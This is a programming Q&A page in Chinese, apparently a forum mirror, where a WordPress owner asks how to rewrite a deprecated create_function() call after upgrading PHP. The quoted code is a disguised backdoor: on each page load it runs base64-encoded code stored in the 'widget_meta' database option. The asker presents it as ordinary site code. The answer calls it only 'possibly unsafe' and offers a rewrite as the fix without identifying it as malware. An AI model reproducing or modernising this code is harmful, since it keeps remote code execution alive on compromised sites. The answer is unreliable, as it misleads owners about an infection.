我最近将我的 WP 网站的旧版本 PHP 5.2 升级到 8.2,但现在导致 php create_function() 出现问题,该函数已被弃用

问题描述 投票:0回答:1

旧代码在这里:

add_action( 'init', create_function( '', @join( array_map( "base64_decode", json_decode( get_option( $table_prefix . "widget_meta" ) ) ) ) ) );

任何人都可以帮我重写这个 unsing function() 吗?

我不知道如何使用函数重写这个。

php wordpress deprecated
1个回答
0
投票

最初的代码依赖于过时的函数和抑制的错误,这使得维护变得更加困难并且可能不安全,匿名函数应该修复错误。如需了解更多信息,请访问 Wordpress 网站

add_action('init', function() use ($table_prefix) {
  $widget_meta = json_decode(get_option($table_prefix . "widget_meta"));
  $decoded_values = array_map('base64_decode', $widget_meta);
  $joined_values = join($decoded_values);
  // Your further code here if needed
});
© www.soinside.com 2019 - 2024. All rights reserved.